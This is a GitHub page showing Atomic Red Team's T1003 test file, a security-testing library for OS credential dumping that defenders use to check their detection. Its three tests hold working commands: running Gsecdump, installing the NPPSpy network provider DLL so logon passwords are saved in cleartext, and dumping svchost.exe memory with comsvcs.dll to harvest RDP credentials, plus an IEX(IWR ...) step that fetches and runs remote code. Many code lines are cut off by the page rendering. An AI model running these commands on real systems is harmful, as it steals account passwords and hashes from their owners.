

Product

▼

Solutions

▼

Resources

▼

Open Source

▼

Enterprise

▼

Pricing

Search

Sign in

Sign up

redcanaryco / atomic-red-team

Public

Notifications

Fork

2.8k

Star

9.7k

<> Code

Issues

6

Pull requests

5

Actions

Wiki

Security

Insights

Files

f339e7d

Go to file

> .github

> atomic\_red\_team

> atomics

> Indexes

> T1003.001

> T1003.002

> T1003.003

> T1003.004

> T1003.005

> T1003.006

> T1003.007

> T1003.008

> T1003

T1003.md

T1003.yaml

> T1006

> T1007

> T1010

> T1012

> T1014

> T1016

> T1018

> T1020

> T1021.001

> T1021.002

> T1021.003

> T1021.006

> T1027.001

> T1027.002

> T1027.004

> T1027

> T1030

> T1033

> T1036.003

> T1036.004

> T1036.005

atomic-red-team / atomics / T1003 / T1003.md

Atomic Red Team doc generat...Generated docs from job=generate-d...ebfc287 · 2 years ago

History

PreviewCodeBlame175 lines (105 loc) · 6.48 KB

RawCopyDownloadMenu

# T1003 - OS Credential Dumping

## Description from ATT&CK

Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform [Lateral Movement] (<https://attack.mitre.org/tactics/TA0008>) and access restricted information. Several of the tools mentioned in associated sub-techniques may be used by both adversaries and professional security testers. Additional custom tools likely exist as well.

## Atomic Tests

- [Atomic Test #1 - Gsecdump](#)
- [Atomic Test #2 - Credential Dumping with NPPSpy](#)
- [Atomic Test #3 - Dump svchost.exe to gather RDP credentials](#)

## Atomic Test #1 - Gsecdump

Dump credentials from memory using Gsecdump.

Upon successful execution, you should see domain\username's followed by two 32 character hashes.

If you see output that says "compat: error: failed to create child process", execution was likely blocked by Anti-Virus. You will receive only error output if you do not run this test from an elevated context (run as administrator)

If you see a message saying "The system cannot find the path specified", try using the get-prereq\_commands to download and install Gsecdump first.







**Supported Platforms:** Windows

**auto\_generated\_guid:** 96345bfc-8ae7-4b6a-80b7-223200f24ef9

**Inputs:**

Name	Description	Type	
gsecdump_exe	Path to the Gsecdump executable	Path	PathToAtomicsFolder\T1003\bin\gsecdu

Page 1 of 3

- >  T1036.006
- >  T1036
- >  T1037.001
- >  T1037.002
- >  T1037.004
- >  T1037.005

gsecdump_bin_hash	File hash of the Gsecdump binary file	String	94CAE63DCBABB71C5DD43F55FD09C/
gsecdump_url	Path to download Gsecdump binary file	Url	<a href="https://web.archive.org/web/20150606/v2b5.exe">https://web.archive.org/web/20150606/v2b5.exe</a>

Attack Commands: Run with **command\_prompt** ! Elevation Required (e.g. root or admin)

```
#{gsecdump_exe} -a
```

Dependencies: Run with **powershell** !

Description: Gsecdump must exist on disk at specified location (#{gsecdump\_exe})

Check Prereq Commands:

```
if (Test-Path #{gsecdump_exe}) {exit 0} else {exit 1}
```

Get Prereq Commands:

```
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]  
$parentpath = Split-Path "#{gsecdump_exe}"; $binpath = "$parentpath\gsec  
IEX(IWR "https://raw.githubusercontent.com/redcanaryco/invoke-atomicred  
if(Invoke-WebRequestVerifyHash "#{gsecdump_url}" "$binpath" #{gsecdump_b  
Move-Item $binpath "#{gsecdump_exe}"  
}
```

## Atomic Test #2 - Credential Dumping with NPPSpy

Changes ProviderOrder Registry Key Parameter and creates Key for NPPSpy. After user's logging in cleartext password is saved in C:\NPPSpy.txt. Clean up deletes the files and reverses Registry changes. NPPSpy Source: <https://github.com/gtworek/PSBits/tree/master/PasswordStealing/NPPSpy>

Supported Platforms: Windows

auto\_generated\_guid: 9e2173c0-ba26-4cdf-b0ed-8c54b27e3ad6

Attack Commands: Run with **powershell** ! Elevation Required (e.g. root or admin)

```
Copy-Item "$env:Temp\NPPSPY.dll" -Destination "C:\Windows\System32"  
$path = Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\N  
$UpdatedValue = $Path.PROVIDERORDER + ",NPPSpy"  
Set-ItemProperty -Path $Path.PSPath -Name "PROVIDERORDER" -Value $Update  
$rv = New-Item -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy -Err  
$rv = New-Item -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy\Netw  
$rv = New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPP  
$rv = New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPP  
$rv = New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPP  
echo "[!] Please, logout and log back in. Cleartext password for this ac
```

Cleanup Commands:

```
$cleanupPath = Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Co  
$cleanupUpdatedValue = $cleanupPath.PROVIDERORDER  
$cleanupUpdatedValue = $cleanupUpdatedValue -replace ',NPPSpy', ''
```

```
Set-ItemProperty -Path $cleanupPath.PSPath -Name "PROVIDERORDER" -Value :
Remove-Item -Path "HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy" -Recu
Remove-Item C:\NPPSpy.txt -ErrorAction Ignore
Remove-Item C:\Windows\System32\NPPSpy.dll -ErrorAction Ignore
```

Dependencies: Run with **powershell!**

Description: NPPSpy.dll must be available in local temp directory

Check Prereq Commands:

```
if (Test-Path "$env:Temp\NPPSPY.dll") {exit 0} else {exit 1}
```

Get Prereq Commands:

```
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]
Invoke-WebRequest -Uri https://github.com/gtworek/PSBits/raw/f221a6db08c
```

## Atomic Test #3 - Dump svchost.exe to gather RDP credentials

The svchost.exe contains the RDP plain-text credentials. Source: [https://www.n00py.io/2021/05/dumping\\_plaintext-rdp-credentials-from-svchost-exe/](https://www.n00py.io/2021/05/dumping_plaintext-rdp-credentials-from-svchost-exe/)

Upon successful execution, you should see the following file created \$env:TEMP\svchost-exe.dmp.

Supported Platforms: Windows

auto\_generated\_guid: d400090a-d8ca-4be0-982e-c70598a23de9

Attack Commands: Run with **powershell!** Elevation Required (e.g. root or admin)

```
$ps = (Get-NetTCPConnection -LocalPort 3389 -State Established -ErrorAct
if($ps){$id = $ps[0].OwningProcess} else {$id = (Get-Process svchost)[0]
C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDu
```

Cleanup Commands:

```
Remove-Item $env:TEMP\svchost-exe.dmp -ErrorAction Ignore
```